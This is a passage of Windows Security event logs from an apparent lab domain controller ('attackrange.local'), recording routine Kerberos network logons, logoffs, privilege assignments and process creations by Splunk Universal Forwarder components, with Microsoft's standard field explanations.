Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:08:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257106 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4AD167 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:08:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257105 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4AD167 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59380 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:08:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257104 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4AD167 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:09:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257107 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A8A2F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xde8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4fc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:09:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:09:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257111 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:09:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257112 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:09:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257114 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1194 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:09:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257113 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1124 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257117 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B06D0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257116 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B06D0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59394 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:09:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257115 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B06D0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:10:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257119 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:10:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257118 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:10:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257120 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:10:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257121 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x814 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:10:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257122 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1134 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:10:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257124 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:10:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257123 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe3c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:10:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257127 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B3C49 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:10:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257126 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B3C49 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59407 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the 